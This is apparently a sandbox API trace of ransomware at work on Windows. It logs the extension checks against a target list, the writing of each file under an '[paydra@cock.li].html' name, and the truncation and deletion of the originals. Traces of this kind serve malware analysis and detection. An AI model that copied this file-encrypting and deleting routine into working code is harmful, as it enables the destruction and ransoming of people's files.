[0046.261] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.261] lstrlenW (lpString=".bz2") returned 4 [0046.261] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.261] lstrlenW (lpString=".7z") returned 3 [0046.261] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.261] lstrlenW (lpString=".dbf") returned 4 [0046.262] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.262] lstrlenW (lpString=".1cd") returned 4 [0046.262] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.262] lstrlenW (lpString=".jpg") returned 4 [0046.262] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.262] lstrlenW (lpString=".doc") returned 4 [0046.262] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.262] lstrlenW (lpString=".docx") returned 5 [0046.262] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.262] lstrlenW (lpString=".pdf") returned 4 [0046.262] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.262] lstrlenW (lpString=".xls") returned 4 [0046.262] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.262] lstrlenW (lpString=".xlsx") returned 5 [0046.262] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.262] lstrlenW (lpString=".ppt") returned 4 [0046.262] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.262] lstrlenW (lpString=".zip") returned 4 [0046.262] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.262] lstrlenW (lpString=".rar") returned 4 [0046.262] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.262] lstrlenW (lpString=".bz2") returned 4 [0046.262] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.262] lstrlenW (lpString=".7z") returned 3 [0046.262] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.262] lstrlenW (lpString=".dbf") returned 4 [0046.262] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.263] lstrlenW (lpString=".1cd") returned 4 [0046.263] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0046.263] lstrlenW (lpString=".jpg") returned 4 [0046.263] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.263] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.263] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.263] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1439) returned 1 [0046.263] CloseHandle (hObject=0x1a8) returned 1 [0046.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0046.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.263] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.264] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0046.265] GetLastError () returned 0x0 [0046.265] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x59f, lpOverlapped=0x0) returned 1 [0046.267] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0046.268] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.268] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.268] SetEndOfFile (hFile=0x1e0) returned 1 [0046.268] CloseHandle (hObject=0x1e0) returned 1 [0046.268] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.268] SetEndOfFile (hFile=0x1a8) returned 1 [0046.269] CloseHandle (hObject=0x1a8) returned 1 [0046.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.269] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0046.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.269] lstrlenW (lpString=".doc") returned 4 [0046.269] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.270] lstrlenW (lpString=".docx") returned 5 [0046.270] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.270] lstrlenW (lpString=".pdf") returned 4 [0046.270] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.270] lstrlenW (lpString=".xls") returned 4 [0046.270] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.270] lstrlenW (lpString=".xlsx") returned 5 [0046.270] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.270] lstrlenW (lpString=".ppt") returned 4 [0046.270] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.270] lstrlenW (lpString=".zip") returned 4 [0046.270] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.270] lstrlenW (lpString=".rar") returned 4 [0046.270] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.270] lstrlenW (lpString=".bz2") returned 4 [0046.270] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.270] lstrlenW (lpString=".7z") returned 3 [0046.270] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.270] lstrlenW (lpString=".dbf") returned 4 [0046.270] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.270] lstrlenW (lpString=".1cd") returned 4 [0046.270] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.270] lstrlenW (lpString=".jpg") returned 4 [0046.270] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.271] lstrlenW (lpString=".doc") returned 4 [0046.271] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.271] lstrlenW (lpString=".docx") returned 5 [0046.271] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.271] lstrlenW (lpString=".pdf") returned 4 [0046.271] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.271] lstrlenW (lpString=".xls") returned 4 [0046.271] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.271] lstrlenW (lpString=".xlsx") returned 5 [0046.271] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.271] lstrlenW (lpString=".ppt") returned 4 [0046.271] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.271] lstrlenW (lpString=".zip") returned 4 [0046.271] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.271] lstrlenW (lpString=".rar") returned 4 [0046.271] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.271] lstrlenW (lpString=".bz2") returned 4 [0046.271] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.271] lstrlenW (lpString=".7z") returned 3 [0046.271] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.271] lstrlenW (lpString=".dbf") returned 4 [0046.271] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.271] lstrlenW (lpString=".1cd") returned 4 [0046.271] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0046.271] lstrlenW (lpString=".jpg") returned 4 [0046.271] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.272] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.272] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.272] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=37112) returned 1 [0046.272] CloseHandle (hObject=0x1a8) returned 1 [0046.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0046.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.272] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.272] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0046.273] GetLastError () returned 0x0 [0046.273] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0046.275] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0046.276] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.276] WriteFile (in: hFile=0x1e0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.276] SetEndOfFile (hFile=0x1e0) returned 1 [0046.276] CloseHandle (hObject=0x1e0) returned 1 [0046.277] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.277] SetEndOfFile (hFile=0x1a8) returned 1 [0046.277] CloseHandle (hObject=0x1a8) returned 1 [0046.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.278] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0046.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.278] lstrlenW (lpString=".doc") returned 4 [0046.278] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.278] lstrlenW (lpString=".docx") returned 5 [0046.278] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.278] lstrlenW (lpString=".pdf") returned 4 [0046.278] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.278] lstrlenW (lpString=".xls") returned 4 [0046.278] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.278] lstrlenW (lpString=".xlsx") returned 5 [0046.278] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.278] lstrlenW (lpString=".ppt") returned 4 [0046.278] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.278] lstrlenW (lpString=".zip") returned 4 [0046.278] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.278] lstrlenW (lpString=".rar") returned 4 [0046.278] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.278] lstrlenW (lpString=".bz2") returned 4 [0046.279] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.279] lstrlenW (lpString=".7z") returned 3 [0046.279] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.279] lstrlenW (lpString=".dbf") returned 4 [0046.279] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.279] lstrlenW (lpString=".1cd") returned 4 [0046.279] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.279] lstrlenW (lpString=".jpg") returned 4 [0046.279] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.279] lstrlenW (lpString=".doc") returned 4 [0046.279] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.279] lstrlenW (lpString=".docx") returned 5 [0046.279] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.279] lstrlenW (lpString=".pdf") returned 4 [0046.279] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.279] lstrlenW (lpString=".xls") returned 4 [0046.279] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.279] lstrlenW (lpString=".xlsx") returned 5 [0046.279] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.279] lstrlenW (lpString=".ppt") returned 4 [0046.279] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.279] lstrlenW (lpString=".zip") returned 4 [0046.279] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.279] lstrlenW (lpString=".rar") returned 4 [0046.279] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.280] lstrlenW (lpString=".bz2") returned 4 [0046.280] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.280] lstrlenW (lpString=".7z") returned 3 [0046.280] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.280] lstrlenW (lpString=".dbf") returned 4 [0046.280] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.280] lstrlenW (lpString=".1cd") returned 4 [0046.280] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0046.280] lstrlenW (lpString=".jpg") returned 4 [0046.280] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.280] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.280] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.281] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1666) returned 1 [0046.281] CloseHandle (hObject=0x1a8) returned 1 [0046.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0046.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.281] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.282] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.288] GetLastError () returned 0x0 [0046.288] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x682, lpOverlapped=0x0) returned 1 [0046.292] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x690, lpOverlapped=0x0) returned 1 [0046.293] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.293] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.293] SetEndOfFile (hFile=0x160) returned 1 [0046.293] CloseHandle (hObject=0x160) returned 1 [0046.293] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.293] SetEndOfFile (hFile=0x1a8) returned 1 [0046.294] CloseHandle (hObject=0x1a8) returned 1 [0046.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.294] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0046.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.295] lstrlenW (lpString=".doc") returned 4 [0046.295] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.295] lstrlenW (lpString=".docx") returned 5 [0046.295] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.295] lstrlenW (lpString=".pdf") returned 4 [0046.295] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.295] lstrlenW (lpString=".xls") returned 4 [0046.295] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.295] lstrlenW (lpString=".xlsx") returned 5 [0046.295] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.295] lstrlenW (lpString=".ppt") returned 4 [0046.295] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.295] lstrlenW (lpString=".zip") returned 4 [0046.295] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.295] lstrlenW (lpString=".rar") returned 4 [0046.295] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.295] lstrlenW (lpString=".bz2") returned 